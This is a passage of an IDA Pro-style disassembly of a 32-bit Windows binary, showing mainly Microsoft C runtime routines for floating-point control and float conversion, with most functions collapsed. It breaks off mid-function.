; [000000AF BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND]
; [00000072 BYTES: COLLAPSED FUNCTION ___set_fpsr_sse2. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION x_ismbbtype_l(localeinfo_struct *,uint,int,int). PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_136. PRESS KEYPAD "+" TO EXPAND]
; [000000F2 BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND]
$LN6_1 db 0CCh
; [00000047 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001B2 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000016 BYTES: COLLAPSED FUNCTION __alloca_probe_16. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__alloca_probe_8:
push ecx
lea ecx, [esp+8]
sub ecx, eax
and ecx, 7
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp __alloca_probe
; [000000C2 BYTES: COLLAPSED FUNCTION __putwch_nolock. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 2
call __amsg_exit
pop ecx
retn
; [000001B4 BYTES: COLLAPSED FUNCTION __chsize_nolock. PRESS KEYPAD "+" TO EXPAND]
; [00000072 BYTES: COLLAPSED FUNCTION __lseek_nolock. PRESS KEYPAD "+" TO EXPAND]
; [000000BC BYTES: COLLAPSED FUNCTION __setmode_nolock. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_410889 proc near ; CODE XREF: __tsopen_nolock+40p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
xor esi, esi
cmp eax, esi
jnz short loc_4108B1
call __errno
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call __invalid_parameter
add esp, 14h
push 16h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4108B1: ; CODE XREF: sub_410889+9j
mov ecx, dword_426560
mov [eax], ecx
xor eax, eax
pop esi
retn
sub_410889 endp
; [00000071 BYTES: COLLAPSED FUNCTION __forcdecpt_l. PRESS KEYPAD "+" TO EXPAND]
; [00000080 BYTES: COLLAPSED FUNCTION __cropzeros_l. PRESS KEYPAD "+" TO EXPAND]
__positive dw 0EED9h ; DATA XREF: __cfltcvt_init+28o
; .data:off_423F90o
dd 424448Bh, 0E0DF18DCh, 7A41C4F6h, 40C03304h, 0C3C033C3h
; [00000040 BYTES: COLLAPSED FUNCTION __fassign_l. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND]
; [0000016D BYTES: COLLAPSED FUNCTION __cftoe2_l. PRESS KEYPAD "+" TO EXPAND]
; [000000CE BYTES: COLLAPSED FUNCTION __cftoe_l. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND]
; [00000371 BYTES: COLLAPSED FUNCTION __cftoa_l. PRESS KEYPAD "+" TO EXPAND]
; [000000F5 BYTES: COLLAPSED FUNCTION __cftof2_l. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __cftof_l. PRESS KEYPAD "+" TO EXPAND]
; [000000F8 BYTES: COLLAPSED FUNCTION __cftog_l. PRESS KEYPAD "+" TO EXPAND]
; [00000086 BYTES: COLLAPSED FUNCTION __cfltcvt_l. PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002B BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [0000001F BYTES: COLLAPSED FUNCTION ___initconout. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___termcon. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002D BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4114AD proc near ; CODE XREF: __fassign_l+15p
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 28h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push [ebp+arg_8]
mov edi, [ebp+arg_4]
lea ecx, [ebp+var_24]
call ??0_LocaleUpdate@@QAE@PAUlocaleinfo_struct@@@Z ; _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)
lea eax, [ebp+var_24]
push eax
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
call ___strgtold12_l
mov [ebp+var_14], eax
lea eax, [ebp+var_10]
push esi
push eax
call sub_411969
add esp, 28h
test byte ptr [ebp+var_14], 3
jnz short loc_41152A
cmp eax, 1
jnz short loc_411515
loc_411504: ; CODE XREF: sub_4114AD+87j
cmp [ebp+var_18], bl
jz short loc_411510
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_411510: ; CODE XREF: sub_4114AD+5Aj
push 3
loc_411512: ; CODE XREF: sub_4114AD+7Bj
pop eax
jmp short loc_411544
; ---------------------------------------------------------------------------
loc_411515: ; CODE XREF: sub_4114AD+55j
cmp eax, 2
jnz short loc_411536
loc_41151A: ; CODE XREF: sub_4114AD+81j
cmp [ebp+var_18], bl
jz short loc_411526
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_411526: ; CODE XREF: sub_4114AD+70j
push 4
jmp short loc_411512
; ---------------------------------------------------------------------------
loc_41152A: ; CODE XREF: sub_4114AD+50j
test byte ptr [ebp+var_14], 1
jnz short loc_41151A
test byte ptr [ebp+var_14], 2
jnz short loc_411504
loc_411536: ; CODE XREF: sub_4114AD+6Bj
cmp [ebp+var_18], bl
jz short loc_411542
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_411542: ; CODE XREF: sub_4114AD+8Cj
xor eax, eax
loc_411544: ; CODE XREF: sub_4114AD+66j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_4114AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411553 proc near ; CODE XREF: __fassign_l+2Ep
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 28h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push [ebp+arg_8]
mov edi, [ebp+arg_4]
lea ecx, [ebp+var_24]
call ??0_LocaleUpdate@@QAE@PAUlocaleinfo_struct@@@Z ; _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)
lea eax, [ebp+var_24]
push eax
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
call ___strgtold12_l
mov [ebp+var_14], eax
lea eax, [ebp+var_10]
push esi
push eax
call sub_411EAB
add esp, 28h
test byte ptr [ebp+var_14], 3
jnz short loc_4115D0
cmp eax, 1
jnz short loc_4115BB
loc_4115AA: ; CODE XREF: sub_411553+87j
cmp [ebp+var_18], bl
jz short loc_4115B6
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4115B6: ; CODE XREF: sub_411553+5Aj
push 3
loc_4115B8: ; CODE XREF: sub_411553+7Bj
pop eax
jmp short loc_4115EA
; ---------------------------------------------------------------------------
loc_4115BB: ; CODE XREF: sub_411553+55j
cmp eax, 2
jnz short loc_4115DC
loc_4115C0: ; CODE XREF: sub_411553+81j
cmp [ebp+var_18], bl
jz short loc_4115CC
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4115CC: ; CODE XREF: sub_411553+70j
push 4
jmp short loc_4115B8
; ---------------------------------------------------------------------------
loc_4115D0: ; CODE XREF: sub_411553+50j
test byte ptr [ebp+var_14], 1
jnz short loc_4115C0
test byte ptr [ebp+var_14], 2
jnz short loc_4115AA
loc_4115DC: ; CODE XREF: sub_411553+6Bj
cmp [ebp+var_18], bl
jz short loc_4115E8
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4115E8: ; CODE XREF: sub_411553+8Cj
xor eax, eax
loc_4115EA: ; CODE XREF: sub_411553+66j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_411553 endp
; [000000BD BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [000000BB BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION __fltout2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000DF BYTES: COLLAPSED FUNCTION __alldvrm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION unknown_libname_137. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __controlfp_s. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411969 proc near ; CODE XREF: sub_4114AD+44p
var_2C = byte ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
movzx ecx, word ptr [eax+0Ah]
push ebx
mov ebx, ecx
and ecx, 8000h
mov [ebp+var_14], ecx
mov ecx, [eax+6]
mov [ebp+var_20], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
and ebx, 7FFFh
sub ebx, 3FFFh
shl eax, 10h
cmp ebx, 0FFFFC001h
push edi
mov [ebp+var_1C], ecx
mov [ebp+var_18], eax
jnz short loc_4119D3
xor ebx, ebx
xor eax, eax
loc_4119B0: ; CODE XREF: sub_411969+51j
cmp [ebp+eax*4+var_20], ebx
jnz short loc_4119C3
inc eax
cmp eax, 3
jl short loc_4119B0
xor eax, eax
jmp loc_411E68
; ---------------------------------------------------------------------------
loc_4119C3: ; CODE XREF: sub_411969+4Bj
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
push 2
stosd
pop eax
jmp loc_411E68
; ---------------------------------------------------------------------------
loc_4119D3: ; CODE XREF: sub_411969+41j
and [ebp+arg_0], 0
push esi
lea esi, [ebp+var_20]
lea edi, [ebp+var_2C]
movsd
movsd
movsd
mov esi, dword_424238
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_10], ebx
mov [ebp+var_C], eax
jns short loc_411A0B
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_411A0B: ; CODE XREF: sub_411969+9Bj
lea edi, [ebp+eax*4+var_20]
push 1Fh
xor eax, eax
pop ecx
sub ecx, edx
inc eax
shl eax, cl
mov [ebp+var_8], ecx
test [edi], eax
jz loc_411AB1
mov eax, [ebp+var_C]
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_411A39
; ---------------------------------------------------------------------------
loc_411A34: ; CODE XREF: sub_411969+D6j
cmp [ebp+eax*4+var_20], 0
loc_411A39: ; CODE XREF: sub_411969+C9j
jnz short loc_411A43
inc eax
cmp eax, 3
jl short loc_411A34
jmp short loc_411AB1
; ---------------------------------------------------------------------------
loc_411A43: ; CODE XREF: sub_411969:loc_411A39j
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_411A5D
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_411A5D: ; CODE XREF: sub_411969+EDj
and [ebp+var_4], 0
sub ecx, esi
xor edx, edx
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
add esi, edx
mov [ebp+arg_0], esi
mov esi, [ecx]
cmp [ebp+arg_0], esi
jb short loc_411A9C
cmp [ebp+arg_0], edx
jmp short loc_411A9A
; ---------------------------------------------------------------------------
loc_411A7F: ; CODE XREF: sub_411969+143j
test ecx, ecx
jz short loc_411AAE
and [ebp+var_4], 0
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
cmp esi, edx
mov [ebp+arg_0], esi
jb short loc_411A9C
cmp esi, 1
loc_411A9A: ; CODE XREF: sub_411969+114j
jnb short loc_411AA3
loc_411A9C: ; CODE XREF: sub_411969+10Fj
; sub_411969+12Cj
mov [ebp+var_4], 1
loc_411AA3: ; CODE XREF: sub_411969:loc_411A9Aj
dec eax
mov edx, [ebp+arg_0]
mov [ecx], edx
mov ecx, [ebp+var_4]
jns short loc_411A7F
loc_411AAE: ; CODE XREF: sub_411969+118j
mov [ebp+arg_0], ecx
loc_411AB1: ; CODE XREF: sub_411969+B5j
; sub_411969+D8j
mov ecx, [ebp+var_8]
or eax, 0FFFFFFFFh
shl eax, cl
and [edi], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_411AD1
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_411AD1: ; CODE XREF: sub_411969+159j
cmp [ebp+arg_0], 0
jz short loc_411AD8
inc ebx
loc_411AD8: ; CODE XREF: sub_411969+16Cj
mov eax, dword_424234
mov ecx, eax
sub ecx, dword_424238
cmp ebx, ecx
jge short loc_411AF6
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
jmp loc_411D03
; ---------------------------------------------------------------------------
loc_411AF6: ; CODE XREF: sub_411969+17Ej
cmp ebx, eax
jg loc_411D0D
sub eax, [ebp+var_10]
lea esi, [ebp+var_2C]
mov ecx, eax
lea edi, [ebp+var_20]
movsd
cdq
and edx, 1Fh
add eax, edx
movsd
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
movsd
jns short loc_411B24
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_411B24: ; CODE XREF: sub_411969+1B4j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_411B3F: ; CODE XREF: sub_411969+201j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_411B3F
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_411B79: ; CODE XREF: sub_411969+227j
cmp edx, eax
jl short loc_411B85
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_411B8A
; ---------------------------------------------------------------------------
loc_411B85: ; CODE XREF: sub_411969+212j
and [ebp+edx*4+var_20], 0
loc_411B8A: ; CODE XREF: sub_411969+21Aj
dec edx
sub ecx, 4
test edx, edx
jge short loc_411B79
mov esi, dword_424238
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_C], eax
jns short loc_411BB9
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_411BB9: ; CODE XREF: sub_411969+249j
push 1Fh
pop ecx
sub ecx, edx
xor edx, edx
inc edx
shl edx, cl
lea ebx, [ebp+eax*4+var_20]
mov [ebp+var_10], ecx
test [ebx], edx
jz loc_411C54
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_411BE4
; ---------------------------------------------------------------------------
loc_411BDF: ; CODE XREF: sub_411969+281j
cmp [ebp+eax*4+var_20], 0
loc_411BE4: ; CODE XREF: sub_411969+274j
jnz short loc_411BEE
inc eax
cmp eax, 3
jl short loc_411BDF
jmp short loc_411C54
; ---------------------------------------------------------------------------
loc_411BEE: ; CODE XREF: sub_411969:loc_411BE4j
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_411C08
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_411C08: ; CODE XREF: sub_411969+298j
and [ebp+arg_0], 0
xor edx, edx
sub ecx, esi
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
lea edi, [esi+edx]
cmp edi, esi
jb short loc_411C24
cmp edi, edx
jnb short loc_411C2B
loc_411C24: ; CODE XREF: sub_411969+2B5j
mov [ebp+arg_0], 1
loc_411C2B: ; CODE XREF: sub_411969+2B9j
mov [ecx], edi
mov ecx, [ebp+arg_0]
jmp short loc_411C51
; ---------------------------------------------------------------------------
loc_411C32: ; CODE XREF: sub_411969+2E9j
test ecx, ecx
jz short loc_411C54
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
xor edi, edi
cmp esi, edx
jb short loc_411C4A
cmp esi, 1
jnb short loc_411C4D
loc_411C4A: ; CODE XREF: sub_411969+2DAj
xor edi, edi
inc edi
loc_411C4D: ; CODE XREF: sub_411969+2DFj
mov [ecx], esi
mov ecx, edi
loc_411C51: ; CODE XREF: sub_411969+2C7j
dec eax
jns short loc_411C32
loc_411C54: ; CODE XREF: sub_411969+263j
; sub_411969+283j ...
mov ecx, [ebp+var_10]
or eax, 0FFFFFFFFh
shl eax, cl
and [ebx], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_411C74
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_411C74: ; CODE XREF: sub_411969+2FCj
mov ecx, dword_42423C
inc ecx
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_411C95
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_411C95: ; CODE XREF: sub_411969+325j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_411CB0: ; CODE XREF: sub_411969+372j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_411CB0
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_411CEA: ; CODE XREF: sub_411969+398j
cmp edx, eax
jl short loc_411CF6
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_411CFB
; ---------------------------------------------------------------------------
loc_411CF6: ; CODE XREF: sub_411969+383j
and [ebp+edx*4+var_20], 0
loc_411CFB: ; CODE XREF: sub_411969+38Bj
dec edx
sub ecx, 4
test edx, edx
jge short loc_411CEA
loc_411D03: ; CODE XREF: sub_411969+188j
push 2
xor ebx, ebx
pop eax
jmp loc_411E67
; ---------------------------------------------------------------------------
loc_411D0D: ; CODE XREF: sub_411969+18Fj
cmp ebx, dword_424230
mov ecx, dword_42423C
jl loc_411DCC
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
or [ebp+var_20], 80000000h
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_411D48
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_411D48: ; CODE XREF: sub_411969+3D8j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_411D63: ; CODE XREF: sub_411969+425j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_411D63
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_411D9D: ; CODE XREF: sub_411969+44Bj
cmp edx, eax
jl short loc_411DA9
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_411DAE
; ---------------------------------------------------------------------------
loc_411DA9: ; CODE XREF: sub_411969+436j
and [ebp+edx*4+var_20], 0
loc_411DAE: ; CODE XREF: sub_411969+43Ej
dec edx
sub ecx, 4
test edx, edx
jge short loc_411D9D
mov eax, dword_424230
mov ecx, dword_424244
lea ebx, [ecx+eax]
xor eax, eax
inc eax
jmp loc_411E67
; ---------------------------------------------------------------------------
loc_411DCC: ; CODE XREF: sub_411969+3B0j
mov eax, dword_424244
and [ebp+var_20], 7FFFFFFFh
add ebx, eax
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_411DF4
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_411DF4: ; CODE XREF: sub_411969+484j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or esi, 0FFFFFFFFh
mov ecx, edx
shl esi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not esi
loc_411E0F: ; CODE XREF: sub_411969+4D4j
mov ecx, [ebp+arg_0]
mov edi, [ebp+ecx*4+var_20]
mov ecx, edi
and ecx, esi
mov [ebp+var_10], ecx
mov ecx, edx
shr edi, cl
mov ecx, [ebp+arg_0]
or edi, [ebp+var_C]
mov [ebp+ecx*4+var_20], edi
mov edi, [ebp+var_10]
mov ecx, [ebp+var_4]
shl edi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], edi
jl short loc_411E0F
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_411E4C: ; CODE XREF: sub_411969+4FAj
cmp edx, eax
jl short loc_411E58
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_411E5D
; ---------------------------------------------------------------------------
loc_411E58: ; CODE XREF: sub_411969+4E5j
and [ebp+edx*4+var_20], 0
loc_411E5D: ; CODE XREF: sub_411969+4EDj
dec edx
sub ecx, 4
test edx, edx
jge short loc_411E4C
xor eax, eax
loc_411E67: ; CODE XREF: sub_411969+39Fj
; sub_411969+45Ej
pop esi
loc_411E68: ; CODE XREF: sub_411969+55j
; sub_411969+65j
push 1Fh
pop ecx
sub ecx, dword_42423C
shl ebx, cl
mov ecx, [ebp+var_14]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or ebx, ecx
mov ecx, dword_424240
or ebx, [ebp+var_20]
cmp ecx, 40h
jnz short loc_411E9D
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], ebx
mov [ecx], edx
jmp short loc_411EA7
; ---------------------------------------------------------------------------
loc_411E9D: ; CODE XREF: sub_411969+525j
cmp ecx, 20h
jnz short loc_411EA7
mov ecx, [ebp+arg_4]
mov [ecx], ebx
loc_411EA7: ; CODE XREF: sub_411969+532j
; sub_411969+537j
pop edi
pop ebx
leave
retn
sub_411969 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411EAB proc near ; CODE XREF: sub_411553+44p
var_2C = byte ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
movzx ecx, word ptr [eax+0Ah]
push ebx
mov ebx, ecx
and ecx, 8000h
mov [ebp+var_14], ecx
mov ecx, [eax+6]
mov [ebp+var_20], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
and ebx, 7FFFh
sub ebx, 3FFFh
shl eax, 10h
cmp ebx, 0FFFFC001h
push edi
mov [ebp+var_1C], ecx
mov [ebp+var_18], eax
jnz short loc_411F15
xor ebx, ebx
xor eax, eax
loc_411EF2: ; CODE XREF: sub_411EAB+51j
cmp [ebp+eax*4+var_20], ebx
jnz short loc_411F05
inc eax
cmp eax, 3
jl short loc_411EF2
xor eax, eax
jmp loc_4123AA
; ---------------------------------------------------------------------------
loc_411F05: ; CODE XREF: sub_411EAB+4Bj
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
push 2
stosd
pop eax
jmp loc_4123AA
; ---------------------------------------------------------------------------
loc_411F15: ; CODE XREF: sub_411EAB+41j
and [ebp+arg_0], 0
push esi
lea esi, [ebp+var_20]
lea edi, [ebp+var_2C]
movsd
movsd
movsd
mov esi, dword_424250
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_10], ebx
mov [ebp+var_C], eax
jns short loc_411F4D
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_411F4D: ; CODE XREF: sub_411EAB+9Bj
lea edi, [ebp+eax*4+var_20]
push 1Fh
xor eax, eax
pop ecx
sub ecx, edx
inc eax
shl eax, cl
mov [ebp+var_8], ecx
test [edi], eax
jz loc_411FF3
mov eax, [ebp+var_C]
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_411F7B
; ---------------------------------------------------------------------------
loc_411F76: ; CODE XREF: sub_411EAB+D6j
cmp [ebp+eax*4+var_20], 0
loc_411F7B: ; CODE XREF: sub_411EAB+C9j
jnz short loc_411F85
inc eax
cmp eax, 3
jl short loc_411F76
jmp short loc_411FF3
; ---------------------------------------------------------------------------
loc_411F85: ; CODE XREF: sub_411EAB:loc_411F7Bj
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_411F9F
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_411F9F: ; CODE XREF: sub_411EAB+EDj
and [ebp+var_4], 0
sub ecx, esi
xor edx, edx
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
add esi, edx
mov [ebp+arg_0], esi
mov esi, [ecx]
cmp [ebp+arg_0], esi
jb short loc_411FDE
cmp [ebp+arg_0], edx
jmp short loc_411FDC
; ---------------------------------------------------------------------------
loc_411FC1: ; CODE XREF: sub_411EAB+143j
test ecx, ecx
jz short loc_411FF0
and [ebp+var_4], 0
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
cmp esi, edx
mov [ebp+arg_0], esi
jb short loc_411FDE
cmp esi, 1
loc_411FDC: ; CODE XREF: sub_411EAB+114j
jnb short loc_411FE5
